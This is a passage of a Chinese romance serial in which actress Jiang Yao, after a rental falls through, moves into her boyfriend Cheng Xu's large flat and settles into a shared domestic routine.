“准备走了。”程绪起身，穿上衣服往外走，鞋子踏在地板上，发出不轻不重的响声。
“那我挂了。”江遥说。
“嗯。”程绪应了声，接着是车门关上的声音。手机不知道被他丢到了哪，只看到黑乎乎的一团。她正想挂断，一个熟悉的地址隔着电波，钻进她的耳朵。
她确认自己没有听错，一骨碌坐起身，问他：“你去哪儿？”
安静的空间里，清晰的女声传来，带着点急切的追问，他拿起丢在一旁的手机，脸上带着点无奈的笑，“怎么还不挂？”
江遥没心思跟他插科打诨，“我真要睡了，别来了。”不是商量的口吻，语气硬邦邦的，带着点拒绝沟通的认真。虽然看不到表情，但她相信，自己的态度已经淋漓尽致地传达出。
他没有说话，刚才脸上浮现的一点笑意像是她的错觉一般，空气莫名凝滞，司机僵着身子，不知是否还需要按他原来的指令行事。
最后还是他妥协，指挥司机直接开回家：“行，我不来。”
江遥一口气还没完全吐出，又听他说：“开灯让我看看。”
手机里还是一片静默，他眉头微微锁着，江遥裹着被子滚了一圈，看他还是端坐在那儿，她拖长了音调抱怨道：“你好烦呐……”
“就看一眼。”他跟她打商量。
江遥摁开墙壁上的开关，垂着脑袋坐在床头，转着手机给他看了看：“我在朋友这玩呢，你早点回去睡吧。”
她穿着一身粉色的睡衣，头发散开垂在肩头，灵动的眼睛微微染上一丝疲色，手上动作很快，明显不想多说的模样。
“嗯行，晚安。”
电话挂断，江遥的一口气终于彻底呼出，不知为何，不想在他面前落出狼狈的模样。她重新躺下，告诉自己明天的事儿明天再想。
好在第二天，中介打来电话，说手上正好有套合适房源需要出手，问她是否方便去看看，江遥自然满口答应。房子地理位置和环境都不错，双方很快敲定，只等签好合同就能正式入住。
小鱼欢天喜地，忙活着要给她布置新住所。江遥笑笑，心里也悄悄放下一颗石头。在程绪再次来电的时候，她告诉了他自己即将搬家的事儿。
对面愣了一瞬，没有多问，成年人的世界，不需要太多的追根究底，她很喜欢他这份无言的默契。
然而，就像晴空里猝不及防的雷阵雨，意外来临时总不会提前打招呼。中介电话打来的时候，她刚悄摸摸上了程绪的车，系好安全带，就听到手机铃声欢快地响着。
时间显示九点二十分，离约定时间还早着，以为是对
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方赶时间，她接起电话就说：“我们已经在路上了，还得二十分钟左右。”说完才意识到对面说了什么，她不确定地问道：“不好意思，您刚才说什么？”
中介看了对面虎视眈眈的老婆婆一眼，对方也朝他瞪来一眼，通红的眼睛，仿佛随时又能跟他吵上一通，一个年轻的女孩搀扶着她的胳膊，脸上半是羞愧半是愤怒。他擦了擦汗，还是不得不硬着头皮开口：“对不起余小姐，这套房子不租了。”
“发生什么事了？不是说今天就能跟房东签合同吗？”江遥手无意识地扯着安全带，质问的声调，还是温和的。
中介也很少碰上这种难缠的客户，但现在不是他吐槽的时候，他只能尽力在中间协调：“实在对不起，押金我们会直接退给您，对方表示可以赔您双倍的费用。如果您觉得不满意，我们……”
“我知道了。”后面对方还说了什么，江遥没有听清，只知道，对方是真的打定主意，这套房子彻底没戏。
挂断电话，小鱼的视频紧跟着进来，问她某件东西怎么处理，江遥声音淡淡，“先放着吧。”
小鱼“啊？”了一声，问她：“怎么了？”
江遥说：“先不搬了。”
她低声跟程绪说：“找个地方停一下。”
车子在路边停下，道路两旁，行人脚步匆忙，来来往往，她张了张嘴巴，却不知让他将她送往何方。
程绪虽然没听清电话的内容，但不妨碍他弄清现在的状况，他看向她的方向，江遥脸朝外没有看他，径自沉默了会儿，又扬起脸跟他说道：“附近找个酒店把我放下吧。”
车子重新启动，江遥闭着眼睛，只想短暂地停下思考。等她再睁开眼睛时，窗外已经换了副模样，没有林立的高楼，视线里一片开阔。
车子停下的时候，她看着外边熟悉的装潢，眼睛微微发亮，似乎在向他求证：这里我们是不是来过！
程绪点头应和她：“嗯，没错。”
招待他们的还是之前的那位经理，看到程绪的瞬间，本就周到的笑脸上，像是乍然点亮了一束光，明明全身包裹得严严实实，经理仿佛自带身份破解系统，轻易识别出他的身份，小声招呼道：“您许久没来了。”
程绪声音听起来有种莫名的放松，“嗯，最近有点忙。”身边跟着一位女士，看身形，还是年初的那位。
程绪在这里，有自己专门的房间，经理将他引进包间，随着季节变化，房间内的布局也进行了相应调整，江遥心内赞叹，不愧是周颂的地盘，很符合他对外的形象。看起来吊儿郎当的样子，和程绪和齐淮关系却都不错，光看这餐厅，私下应该也是下了点儿功夫。
她边看边不自觉点头，程绪跟在身后，看着她的头小幅度晃动，拉着她的手笑问：“怎么，领导视察？还满意吗？”
江遥收住心内的感慨，跟着他坐下。摘下口罩，接过他递来的茶。
她其实不太会品茶，但看他的动作，却是颇熟此道，如果忽视他过于冷峻的五官，好似身处一副流动的山水画。
心内的郁气，不知何时已经一散而空。
63. 邀请
菜品摆盘精致如艺术品，新鲜时令的菜色，看得人食指大动，听介绍，还暗合着顺时养生的法则。
经理躬身退出，掏出帕子抹了抹额角的汗珠。虽然早知道能和这位一起出现的，不会是泯然众人的角色，光看身形和气质，应也是绝色。但当云雾后的佳人露出庐山真面目，给人的震撼还是小不了。
不可避免的，他也被她的容颜所摄，或许更准确来说，是他从未想过，程绪身边的位置，站着的会是这样一位娇娇来客。
他微微愣神，好在凭着多年经验，手下的动作和脸上的表情如同刻进骨血中，旁人绝挑不出差错。眼前的姑娘就完全没有察觉出，跟着他的介绍，清澈的眸子仿佛会说话般，一会儿微微睁大，一会儿专注凝视着，像是忠实的倾听者。但强烈的直觉告诉他，自己正被一道凌厉的视线牢牢锁住。
房门关上，他默默退到远处，将憋住的半口气全部呼出，又开始为自家那位小少爷此后的地位担忧，不知道他，是否知道这位嫂嫂的存在呢。
经理恭敬递来食盒，道着“小心慢走”，程绪伸手接过。迈过门口的台阶，外边果然竖着一块“菜品限量供应”的牌子，她埋怨的目光瞪向身边的人，他像是旁边长了眼睛似的，精准捕捉住她的眼神，冷峻的脸上露出恰到好处的疑惑：“怎么了？”
江遥摇头，和他并肩往外走，如果时间倒退回二十分钟以前，她一定会将自己的表达欲稍稍克制住。不过，这里的厨师手艺确实很不错。
程绪说，是前些年周颂闲不住，亲自飞往各地挖来的。他母家做餐饮生意，他从小耳濡目染，能入他眼的人自有一套拿手绝活。当然，其中过程不便细说。
周太太就曾叉着腰痛心疾首地骂过：“你这败家玩意儿，竟然干起了拐带人口的活儿。”
说是某个老师傅一把年纪不愿意再劳累奔波，周颂这小子也不跟他硬磨，花了几天哄得人家视若眼珠的小孙子闹着要跟哥哥走，最后老师傅不得不收拾东西跟着过来了。
但别管他是金钱威慑还是无赖耍宝，最后，各地名厨还真被他汇聚于一方庭院，专门研究新款菜色。
江遥扣好安全带，听他面无表情地抖着周颂的各种糗事，发现他并不是不善言辞，只是就算讲故事，也缺少了点感情融入。
她笑得肩膀一耸一耸的，看他平静的侧脸，完全想象不出，他也会有这样的一面，“那你呢，以前也很皮吗？”
程绪抿了抿唇，不太自然地开口：“我一直都比较无聊。”
江遥惊讶抬头：“谁说的？”
程绪懵了一下，他曾听许婉清多次无奈地跟小姐妹们抱怨说，自家儿子性子有点怪怪的。在喜欢成群结队的学生时代，身边的朋友也就屈指可数的那几个。就连孟棠都摇头叹息，“真不知道以后谁能受得了你。”
这难道……不是事实吗？
他似乎是真的疑惑，“你不觉得吗？”
江遥伸手挽住他的胳膊，将脑袋搁在他的肩膀上，轻轻摇头。她的动作幅度很小，却带动着他的半边身子忍不住微微震颤，像是被塑封住的玩偶，突然被告知拥有了行动的自由。
她的语气也很轻柔，抬着下巴笑望着他，“不啊，我觉得这样就挺好的。”
弯弯的眸子里溢满真诚的光，让人就连升起怀疑的念头，都觉得是冒犯。
他好像低头笑了下，静默了会儿，突然说起一件风马牛不相及的事儿。
“去我那住吧。”
江遥蹭着他肩膀的动作顿时僵住，惊愕抬头，只见他表情认真，丝毫没有玩笑的成分。
“你不是在找房子吗？”他似乎完全不知道自己的话语砸在她耳里，给了人多大的冲击，还是那样望着她，再次重复道，“去我那住吧。”语气平淡，像是在问她下一顿吃什么般自然。
她不奇怪他猜出自己目前的窘境，但去他那住，是什么意思？不忍见她流落街头？还是说……这是另类的同居请求？
以她对他的了解，他应该并没有这方面的意思，但不管是哪一种情况，她都没有做好准备接受。一时呆怔着，不知如何跟他开口。
静默太久，一股莫名的尴尬在空气里流淌开来，江遥强逼着自己张口，正想说点什么，程绪侧过身子，拉住了她的手，解释说：“我那空房多，平常就我一个人住，多你一个完全没有影响。”
为了打消她的顾虑，他又补充说：“我在家的时候不多，如果有什么觉得不自在的地方，都可以跟我说。”
江遥回想了下，他在外待的时间确实比在家还多，家的存在于他而言，似乎只是短暂停留的一个寓所。他住的地方，私密性应该挺不错，这么多年从没被媒体曝光过。
她心内动摇，却还是坚定拒绝了他的请求：“没事，我先去酒店住一阵，你要是有合适的房源，也可以帮我留意着。”
刚才她脸上的表情明显是有所松动，不知想到什么，不过一瞬，那丝裂缝又悄然合拢，程绪打量着她的神色，猜测着提议道：“你若是觉得不妥，也可以付我房租，把我当你的新房东就好。”
江遥惊异于他的敏锐，掐着手心，没有出声回应，他还有心情开玩笑：“我不收你押金，找到房子，随时可以搬走。”
她脸上不自觉染上笑意：“这么好说话？”
他伸手在她脸上轻轻掐了下，像是被误解多年的苦主，终于得见天光，反问道：“你才知道？”
“行吧。”江遥努力维持住傲娇的表情，脸上的笑容却越绽越大。她从他掌心抽出自己的手，一声令下，“出发！”
汽车驶出，她又想起新的问题，“哎，可我的东西还在家里。”
“让小鱼帮你带过来。”
“那我们晚上吃什么？”
“有打扫做饭的阿姨，有什么想吃的跟她说。”
宽阔的道路上，风景飞速后退，他边开车边回应她时不时冒出来的疑问。
几个问题后，江遥像是电量耗尽，不再出声，他默契地没有再追问。
到家的时候，江遥才理解到，他说的有很多空房，半点没有夸张。几百平的房间，就他一个人住，多她一个，确实影响不到什么。
程绪的家跟他办公室色调差不多，整个空间
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里，看不出多少主人活动的痕迹，将装备一换，俨然可以当成另一个办公场所。江遥踩着双拖鞋，跟在他身后溜溜达达四处瞎逛。
她只带了几件随身的衣物和洗漱用品，拎着包就跟他上了门，程绪输入指纹解锁，又将她的指纹录入。
她站在玄关处，看他弯腰从柜子里取出一双拖鞋，鲜嫩的颜色，完全不像是属于这个家的风格。
江遥把玩着上面的吊牌，问他：“给我的？”
程绪“嗯”了一声，没有多说什么。她试了下，正好合脚。
他的卧室在最里侧，他带她穿过大半个住所，指着最远处的一扇房门，说她以后就住那儿。
“进去看看？”程绪扶着门把手，回头看向身后。
江遥踩着拖鞋慢吞吞跟上来，一张小脸被头发挡住大半，显得更加只有巴掌大。眼睛盈盈地望着他，仿佛在说“那我不客气了哦”，程绪嘴角微勾，是一个鼓励的动作，她推开房门，昂着头走进她的住所，像是巡视领地的猫儿。
一个卧室的布局，就比得上她原来的小公寓，中间摆着一张大床，床铺已经铺好，沉稳大气的色系，一看就是他选的。程绪在一旁说道：“床上用品都是新的，不喜欢随时可以换。”
江遥笑：“还行，先这样。”
卧室自带书房和衣帽间，房门一关，就是自己的一方小天地。是曾经的自己绘制的未来蓝图中，必不可少的东西。
在从学校出来后，江遥也曾幻想过，如果自己买了房子，一定要有一间书房和一个大大的衣帽间，不用挂多华丽的礼服，安置多少绝版书籍，只求能让她所有的珍藏有一个容身之所，不用跟着她四处辗转迁徙。
没想到时间匆匆，最开始是工作太忙，再后来，是世事无常。直到现在，她早已不习惯畅想，它们却又猝不及防地向她张开怀抱。
五月的天气，白昼被无限拉长，落地窗外，大片大片的晚霞，将天幕渲染得热闹非凡。
他拉着她的手，将房间里的布局一一指给她看：“你看还有什么需要的，让他们一起送过来。”
这间房子虽然少有人烟，但各项用品一应俱全，江遥摇了摇头，“这样就挺好的。”
带回来的食盒被随手放在餐桌上，程绪打开，找了把勺子给她：“你先垫垫。”
酥酥软软，入口即化，味道相比刚出炉时略有逊色，但已然足够惊艳。江遥坐在凳子上，一口一口，吃得香甜。
程绪忍不住瞥她一眼，她按着手机，抬头就看到他直勾勾的视线，问他：“要不要来点？”
他移开目光，不过几秒，又转回来，抽了张纸巾给她擦了擦嘴角的蛋糕屑：“晚上还吃饭吗？”
江遥觉得他简直在讲废话，瞪着眼睛纠正他错误的想法：“晚饭是晚饭，不能这么算的。”
他将餐盒的盖子盖上，“那就吃完这个。”
江遥闷闷点头，又忍不住拍他一下：“还不是都怪你。”明明她就是随口一句评价，谁让他还拎一份回来了。
他已经习惯她时不时来这么一下，也不跟她争辩：“嗯，怪我。”
64. 借住
听说江遥找到了落脚的地方，小鱼直呼“太好了”，很快按照指令将她要的东西清点好，塞了满满两个行李箱，还有几个袋子里装着些杂七杂八的东西。
开车来接的是江遥的司机何为，从轻音娱乐离开后，她就没有了自己的保姆车，或者应该说，从几年前开始，她的通行基本都是自己解决。小伙子开车稳当，干活利索，话又不多，这些天江遥没有通告，本来给他放了假，知道她要搬家，何为说什么都要来跑这一趟。
他麻利地接过小鱼手上的行李：“您把东西给我就好。”两个行李箱在他手上，像是纸片一般轻飘飘，小鱼看得咋舌，不知道Susie在哪里挖来的这个宝藏，一份工资，能把搬家公司的活儿也给兼了。
她跟着把几个袋子也塞进后备箱，开门上车，才看到坐在副驾上的杨越。脸上的笑意倏然僵住，她眉头微蹙，杨越朝她耸了耸肩，权当打了招呼。
小鱼内心尖叫，却还记得，自己好歹代表着江遥的脸面，脸上端着一副淡定的表情，不急不躁地掏出手机，手指跳动的速度却出卖了她内心的激动。
小鱼：「！！！」
收到信息的时候，阿姨正在厨房做晚餐，程绪陪她坐了会儿就进了书房，似乎是有工作的事要忙，只有她一个人在房间里游荡。
她随手回了几个问号，小鱼的消息来得很快：「你说搬哪儿来着？」
不是下午才讨论过？江遥怀疑自己记错，往上翻了两屏，正想回复，对面的新消息已经过来：「方便我上门吗？」
江遥啧了声，「你见不得人？」
小鱼无语望天，却只能看到光秃秃的车顶。车子朝着目的地越驶越近，她终于想起，这个名字是在哪里听过。
多年前八卦新闻上曾轰轰烈烈地讨论过，上百万一平的小区，究竟是哪些人在入住。一个据说嫁入豪门的女明星按捺不住，晒出了这小区的房产证，结果被神奇的网友发现，图片竟然是P的。粉丝滤镜碎了一地，这个传说中的小区，也跟着热搜被带火过一轮。
看来程绪，这些年真是赚得盆满钵满了。
小鱼收拾好心情，自认跟着江遥也见过不少觥筹交错的场景，结果一路走来的见闻，都让她心底的认知不断被刷新，连地下车库都装修得堪比酒店大堂，富丽堂皇。
何为帮忙将箱子从车上提下来，主动说在车上等他们，小鱼看他一眼，小小年纪，处事却很沉稳，怪不得短短时间里，已经获得江遥的信任。
小区一梯一户，安保严密，居住在这里，不用再担心黑粉混入。接过何为手上的东西，她和杨越一人推着一个大箱子，刷卡上楼。
杨越明显熟门熟路，却还是如第一次上门般，站在房门前，按响了门铃。
钟点工刘阿姨来开的门，此时，小鱼脸上的表情已经很是淡定。她热情地将他们让进来，又回厨房忙碌开来。
大家都说好的阿姨不流通，好的主顾何尝不是可遇不可求。像这位程先生，报酬给得丰厚，虽然看起来冷冰冰的不好亲近，但从未提出过过分的要求，在家的时候也不多。偶尔让帮忙做个点心煲个汤，还有额外的报酬。
在这里工作多年，这还是她第一次见程绪带女孩上门，因此卯足了劲想在江遥面前露一手。
江遥听到动静，从沙发上起身，明媚的笑容，从容的姿态，向他们姗姗走来。明明才是第一天入住，就仿佛和这空间无比契合，小鱼在心内慨叹，不愧是天生丽质的大明星，再奢华的空间，她都足以匹配，并如鱼得水。
杨越心内早已无数次模拟过这样的场景，知道这个房子，迟早会迎来它的女主人，他淡笑着跟江遥打了声招呼，视线所及里，不见程绪的踪影。他心内悄悄欢呼一声，将行李交给小鱼，正想告辞离开，江遥却很是热情，招呼着他们在餐桌旁坐下：“先吃饭。”
桌上已经摆好碗筷，刘阿姨闪身又钻进了厨房：“你们饿了就先吃，还有最后一道菜，很快。”
程绪的房门一直紧紧闭着，江遥探头看了一眼，“我去看看。”
屁股下如有针扎一般，杨越猛地从椅子上弹起，出声阻止道：“江小姐。”说完他愣了一下，总觉得这么称呼，好像有点帮老板把两人关系给叫生分了。但叫老板娘好像也不太合适啊，冷不丁别把人吓走了。
他直接跳过称呼，“您别忙活了，我出门前刚刚吃过，还饱着。”说完，像背后有人在追一样，一溜烟跑没影了。
小鱼见他换鞋、关门，一套动作行云流水，愣了愣，终于反应过来这是谁的地盘，屁股刚刚抬起，就被江遥一把拖住：“你不准走。”
小鱼着急：“我坐何为车来的，得跟着一起回去。”
江遥不松手：“晚点让程绪送你。”
小鱼哪敢啊，这姐的松弛感，有时候她不得不佩服，连忙摆着手让她不用麻烦了。
江遥看起来柔柔弱弱，真使劲起来，她一时还真摆脱不掉。两人纠缠了几分钟，小鱼挣扎不开，看了眼时间，何为估计也早被杨越哄跑了，她干脆躺平认命，推着江遥的胳膊：“好了好了，快撒开你的手。”
江遥脸上露出老母亲般欣慰的笑，拍了拍她的手背：“这样才对嘛。”
小鱼抖了抖身上的鸡皮疙瘩，上下扫了她一眼，总觉得其中应该是有什么猫腻，但看她的脸色，什么也看不出。她搬着凳子挨过去了点，悄悄问她：“怎么，你紧张？”
江遥斩钉截铁：“没有。”说完起身朝书房走去，小鱼哼笑一声，就当舍命陪君子了。
房间里安静得落针可闻，程绪坐在书桌前，身前摊开的书页，半天没有翻过一页。
“咚咚咚。”敲门声不急不缓，隔着厚重的房门，在他的耳中回荡。像是苦等许久的下课铃，调皮的学生，闻之如重获新生。程绪“噌”地一下站起身，起身的动作太急太快，膝盖磕到桌角，留下“咚”的一声回音。
痛楚从撞击的地方传来，他才终于回过神，意识到原来自己一直在竖着耳朵听门外的动静。可惜，隔音效果太好，这偌大的空间里，似乎仍只有他一个人。
他清
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了清嗓子，扬着声音：“进。”
江遥等了几秒，怀疑他并没有听到，正想抬手再敲一下，房间里传来回音，她试着推了推门，门竟然没有上锁。
房门推开，书房里，一张宽大的书桌，四周书架整齐排列着，摆得满满当当，江遥看了一眼就收回视线，见他眉头微微蹙着朝门口走来，轻声问道：“还没忙完吗？我是不是打扰到你了？”
轻柔的嗓音，生动的人，原来，并不是自己的臆想。程绪笑意舒展：“怎么会。”
江遥放下心：“那先去吃饭。”
程绪“嗯”一声，江遥跟他同步家里的情况：“刚才杨越来过，有事先走了，小鱼留下帮我整理东西。”
他不置可否，听着她絮絮叨叨地说，跟着她往餐厅走。
刘阿姨已经收拾好东西离开，小鱼一个人坐在餐桌旁，见他们迟迟不来，心里闹得慌，看到他们一前一后走过来，又一口气憋在那，连忙起身打招呼。江遥忍不住想笑，私下里没听这丫头少编排，一到正主面前，腰杆子又挺不直了。
程绪余光扫到她的动静，客气地招呼着小鱼坐下。
小鱼嘴里应着，生怕他再补上一句“就当在自己家一样”，拜托，她做梦都不敢梦这样的。实际上和程绪待在一起，她还是没有修炼出足够强大的定力，吃完饭赶紧拖着行李回了江遥的房间，帮她将东西分门别类整理出来。
江遥要收拾碗筷，程绪说放着他来，她也没有客气，闪身跟着小鱼进了自己的卧房。
两个行李箱摊开，也只占据了房间的一角，一个小熊玩偶，在床上横躺着。江遥扑过去抱住，在熊脸上蹭了蹭，发出舒服的喟叹：“你怎么把它也带来了。”
小熊不会说话，她伸手握着它的胳膊，跟它打了个招呼，它还是呆着一张脸，一副无动于衷的表情。
小鱼笑着回头，明丽的美人抱着一个半人高的毛绒玩偶，在大床上互相瞪着眼睛，和这清冷的房间，有种诡异的矛盾。
“你们这审美，好像差得有点远。”她没头没尾感慨一句，在床上打滚的江遥却及时接收到意思：“也就借住一阵子，这样就挺好的。”
小鱼以为自己听错：“你还要搬走？”
江遥从床上起身，“不然呢？”仿佛这才是天经地义，并不需要理由。
小鱼默了默，一些想不通的关窍，也只有这样解释才合理。她没再多说。
两人合力，东西很快归置到位，来的时候提得满满当当，真正收拾好，除了化妆台上的瓶瓶罐罐和衣帽间里占据的一小块地方，却看不出多少存在感。
时间指向晚上九点，江遥还在四处东摸摸西摸摸，小鱼揶揄她：“快出去吧，我怕有人把我暗杀。”
江遥瞪了她一眼，去客厅倒了杯水，程绪坐在沙发上，腿上摆着个电脑，敲敲打打，听到动静，抬头看来：“收拾好了？”
江遥点头，小鱼也背好背包出来，程绪说：“司机已经在楼下等了。”
房门关上，宽阔的空间里，蓦地静了下来。
65. 睡不着
程绪又坐回了电脑前，修长的手指在键盘上敲击，嘴唇紧紧抿着，心无旁骛，没有分半点眼神给她。
时间还早，江遥在沙发另一侧找了个位置坐下，拿出手机，看到小可发来的视频。是西城拍摄的宣传片demo，小可说已经在走最后的流程，不日就会正式上线。
发来的只是样片，不是正式配音的版本，江遥点开，西城的气息扑面而来，空旷的原野，寒冷干燥的空气，性格各异的动物们，清澈质朴的人，交织成她一段短暂而奇妙的旅程，随着镜头推远又拉近，她仿佛再次踏足那方天地，感受与大自然的同频共振。
宣传片很短，不到五分钟，江遥反反复复拉着进度条，忍不住看了好几遍，顺便截了很多张图片。
但是她有点担心，主动跟小可提起自己最近的风评，现在上线，可能会连累项目遭受很多非议和围攻。
小可笑笑，作为宣传片的主要参演者，项目组自然有关注着江遥近期的动向。这是一个永远不乏话题的女明星，《凡尘》时势如破竹冲天而起，和男明星一点似是而非的桃色新闻，又引得网上风风火火讨论几轮。网友们各持己见，说到最后，翻来覆去出现的高频词汇，还是N年前就贴在她身上的标签。
爱炒作、绯闻多、人品差……身处她这个地位，又有几人能在拿着放大镜挑刺的公众面前全身而退。而且那又如何呢？将她压进泥地里这么多年，也丝毫不影响她再次拿出过硬的作品闪耀荧屏，资本闻风而动，粉丝狂热追捧。而至于她人品如何，相处过的人自有定论。
她让江遥放心，那点小打小闹，导演都没看在眼里。
“在看什么？”安静的空间里，突然响起一道男声，江遥吓了一跳，拍了拍胸口，才反应过来自己身处何处。程绪不知何时已经忙完工作，笔记本放在一旁，正在等着她的回答。
“前阵子拍的一个视频。”江遥并没有细说。
两人一人占据着沙发一角，谁也没有主动去打破这默契划开的距离。
她收起手机，没话找话：“你工作忙完了？”
“嗯。”
“每天都这么忙吗？”之前好像也还好啊。
她水亮的眼睛望过来，阴暗的心思无所遁形，程绪别开视线，“忙完这阵就好。”
时间刚刚过十点，他起身回房，看着还坐在沙发上毫无困意的江遥，催促道：“快去睡觉。”
久违地，江遥仿佛有了种被家人管束着的错觉，但老江基本都随她，只有乔女士才这么爱叨叨。她不情不愿地站起来，讷讷开口：“哦。”整个背影，都大写着不乐意。
身后传来一声清脆的关门声，江遥回头去看，房中哪还有他的身影。
“晚安。”没开灯的房间，高大的男人，站在门后，轻声呢喃。
浴室洗漱用品一应俱全，江遥洗好澡出来，看着陌生的房间，努力想忽视掉心底那点怪异的感觉，但空旷的空间无时无刻不在提醒着她，就算住酒店，她也不会选择这样豪奢的场所。
吹风机的声音很小，她坐在镜子前，看着镜中的自己，有种恍惚的错觉，突然想起，汪静静前阵子跟她吐槽过的，资本家的金丝雀。
金丝雀。她对着镜子，嘴巴一张一合，又被自己的联想逗乐。
“叮”的一声，信息提示音打断她的思绪。划开手机，是一条垃圾短信，提醒她手机积分即将到期。
江遥点开微信，给小鱼发信息：「到家了吗？」
小鱼：「刚收拾好。」
摇啊摇：「OK，晚安。」
小鱼：「不想谈谈？」
江遥摩挲了下键盘：「不想。」
她丢开手机，扑进柔软的大床里。枕头上满是阳光的气息，江遥深深嗅了一口，丝毫没有睡意，又转而去找汪静静，「什么时候收工？」
汪静静十分钟后才回：「刚刚。」
「有事？」
江遥已经不记得找她是想说什么，「没事，睡了。」
她翻了个身，身下铺着的床单，纯色的，和她家花花绿绿的风格一点也不一样，光明正大地，彰显着某个人的存在感。
她抠了半天被套，还是认命地翻身坐起，骚扰他：「睡了吗？」
西西：「没有。睡不着？」
什么嘛，还以为他那么早上床是真的睡觉去了。江遥撇了撇嘴，「……怎么会。」
对面没有再回复，过了一会，她承认：「好吧，是有点。」
程绪不为所动，只催促着她放下手机，快去睡。江遥不知道自己在想什么，在床上滚过一圈，又给他发信息：「聊会儿？」
对面没有回复，她直接打语音过去。铃声响了一会儿才被接起，程绪的声音听起来有点无力：“聊什么？”
江遥问：“你困了？”
程绪回：“还好。你说。”
江遥压根没有准备，随手抓了一个话题：“你今天在忙什么？”
程绪无力地薅了一把头发，思考着该怎么跟她说，敲敲打打一晚上弄出的那满屏废话。最后翻翻拣拣，将昨天的工作又拎出来，简单跟她说了一遍。
清冷的声线，在寂静的空间里，非常抓耳，空荡荡的房间里，似乎渐渐填满另一个人的气息。
江遥有一耳朵没一耳朵地听着，并不在乎他说了什么内容，时不时给出点回应，程绪就这么断断续续地陪着她说了许久，最后，江遥眼皮开始打架，打了个哈欠，心满意足地挂断电话：“我要睡了，晚安。”
语音被利索地切断，程绪将手机放在床头柜上，拉着被子盖上。
被子下，掩藏了多少无声的叹息。
第二天，江遥睡到快十点才醒，本以为程绪已经出门，趿拉着拖鞋走到客厅，才看到沙发上端坐的人。
“大意了。”她紧急撤回迈出的左腿，拨了拨凌乱的头发，正想转身回房，沙发上的人听到动静，侧身望来。
她躲避不及，主动问好：“早啊。”
“早。”程绪回她。
她穿着一身粉色睡衣，一侧的头发不听话地翘起，江遥伸手抚平，松开手，它又有自己的意识，她干脆放弃，手捂在头上，瞪着眼睛看向他，似乎在说他怎么一声不响待在这儿，敢嘲笑她就死定了。
程绪一激灵，在这个寻常的早晨，突然庆幸起自己的表情管理。
江遥瞪了他几秒，只见他还是一副八风不动的样子，看不出半点嘲笑的意思。她转身匆匆跑回房间，翘起的
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头发一摆一摆，程绪轻咳一声，收回视线，还……怪可爱的。
江遥再次从房间出来，已经恢复都市丽人的身份，程绪将桌上摆着的面包牛奶推过去，江遥扬了扬眉：“你做的？”
“买的，趁热吃。”
他今天上午没有去公司，特意空出半天，带她逛了逛周边。基本的采购需求，在小区里就能解决。
最后，两人拎着大包小包的东西回来，当然，大包全是他的，江遥拎着一个小袋子，站在门前，给他让出位置开门。
程绪站在身后没动，江遥“哦”地一声，反应过来，按下指纹。
房门打开，她找出拖鞋，给他放在脚边，又殷勤地伸手想去接他手上的购物袋。
程绪侧身进来，将吃的东西装进冰箱，又一件件掏出新添置的一些小物件。他手上拿着的那个抱枕，她不过多看一眼，他就捡起来往购物车里塞。而那第二个，不过是她撑不住人家理直气壮询问“我的呢？”而随手抓来的。至于手上这盆绿植……嗯有点想不起来了。
江遥摇摇头，人家的家想怎么布置都是应该的，她将花盆摆进阳台，暂时承担起花农的活。从一盆绿萝开始。
中午刘阿姨提着食材过来的时候，就见平常下班都难得见到人影的程绪，大中午还在沙发上端坐着。从今天开始，她的工作内容有所变动，一顿饭的需求变成两顿，理由并不难猜，碰上这样的女孩，再怎么娇养都不过分。
此时，两人凑在一起，看着手机嘀嘀咕咕，偶尔交换几句意见。只听江遥一声惊呼，起身匆匆跑去阳台，程绪迈着大长腿悠悠跟在后面，看她忙碌着给绿萝寻找新的位置。
一盆绿萝，也能被她养出如临大敌的架势，程绪莫名生出些忧虑，是不是一开始选错了难度。
江遥将绿萝安置好，见到刘阿姨，主动打了招呼，也没管身后跟着的程绪，摸进厨房里，看了看今天中午的菜色，又拉起袖子提出要帮忙。
刘阿姨哪敢让她上手，觑了眼斜斜倚在门框上的程绪，可惜他的视线全在江遥身上，压根看不到她的求助。
江遥打定主意，刘阿姨自然犟不过，给她腾出点位置，不自觉加快手上的动作。盆里的青菜全部洗出，刘阿姨起锅烧油，江遥还站在一旁，仿佛随时等着再打个下手。程绪终于挤进厨房，拉住了她的手。
“不好意思，您忙。”他带着江遥出去，贴心地替阿姨把厨房门拉上。
“我就看看。”女声隐隐约约传来。
接下来有人在轻哄着什么，两人越走越远，交谈的声音，被彻底隔绝。
饭后，程绪出门去公司，江遥留在家里，边看剧本，边看刘阿姨忙忙碌碌打扫卫生。
手机一下午都安安静静，看时间，也过了午睡的点了，程绪怕她无聊，给她发了条信息问在做什么。江遥的话匣子就此打开，到最后，又问他晚上想吃什么，让阿姨做。
下午六点，应澄科技，程绪第一个站起身，见到工位上，杨越低头憋笑的表情，毫不客气地扫过去一眼。杨越重重咳了两声，捂着嘴掩饰不断上扬的嘴角。
在他的咳嗽声里，程绪面无表情地迈步离开，其实他也不明白，为什么要出这一趟门。真是效率奇低的一下午。
66. 小黎
“遥控器呢？”江遥找了半天，问他。
家里的电视基本都没有打开过，程绪精准地说出遥控器收纳的地方，江遥摸过去，果然在那儿。
电视机里传来嘈杂的声响，两人各自占据着一侧沙发。江遥捞起一个抱枕抱在手上。
程绪陪她看了会儿电视，就进了书房。九点半，端着杯子出现在客厅，打了杯水又回了房。江遥听到动静，电视里狗血大戏正演到高潮，回头去看的时候，只看到房门再次关上。
十点，程绪又化身兢兢业业的督导员，催促她回房洗漱睡觉。江遥将手上的抱枕丢过去，哀嚎一声，想发泄，又找不到理由。
遥控器已经被她反反复复按过好几轮，已经找不到什么有兴趣的节目来看，但就是不想回房。听到他这准点出现的催促，别说，还真有点上头。
程绪一手接住枕头，看她垂头丧气的表情，直接将遥控器塞进了自己的口袋，丝毫没有心软的意思。
江遥扁扁嘴，不知道自己来这是受什么罪，不知道的以为自己不是找了个男朋友，而是找了个活爹呢。
她愤愤地望着他，看得程绪莫名心虚，干巴巴地解释：“时间不早了，明天看回放也是一样的。”
谁不知道可以看回放啊，这能一样吗？她坐在沙发上不动，程绪拿她没辙，又给自己找台阶下，“只能再看半小时。”
“什么人啊。”江遥白他一眼，说着又笑了起来。
切换自如的表情，让程绪不自觉反省，自己是不是又踩了坑。下次一定要再心狠一些才行，他暗下决心。
十点半，他敲了敲桌面，江遥也没有再赖账，起身回房。
最后半小时里，电视里的画面，远不如他脸上的表情精彩。她偷偷笑了声，程绪望过来。“晚安。”她挥挥手，钻进了房间。
毕业多年后，江遥再次拥有了合租室友。两人基本只有早晚碰头，吃过晚饭，各自忙活，晚上十点半，室友会化身宿管员，催促她准时熄灯回房。
